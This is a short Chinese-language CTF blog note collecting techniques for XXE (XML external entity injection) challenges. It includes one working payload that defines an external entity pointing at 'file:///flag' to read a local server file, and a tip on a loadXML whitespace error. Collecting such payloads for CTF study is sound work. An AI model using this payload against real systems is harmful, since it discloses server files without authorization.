CTF-Web【XXE】漏洞做题姿势积累

发表于 更新于 分类于 ， 阅读次数： 评论数：

前言

本篇文章专门用于记录做XXE类题目的做题姿势，会不断更新。

XXE（外部实体注入）
就是引入外部的xml文件来进行利用

Payload

一个读取flag 的payload

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY penson SYSTEM "file:///flag" >
]>
<user><username>&penson;</username><password>penson</password></user>

报错原因
Warning：DOMDocument::loadXML(): XML declaration allowed only at the start of the document in Entity,
传入的xml语句中前面包含空格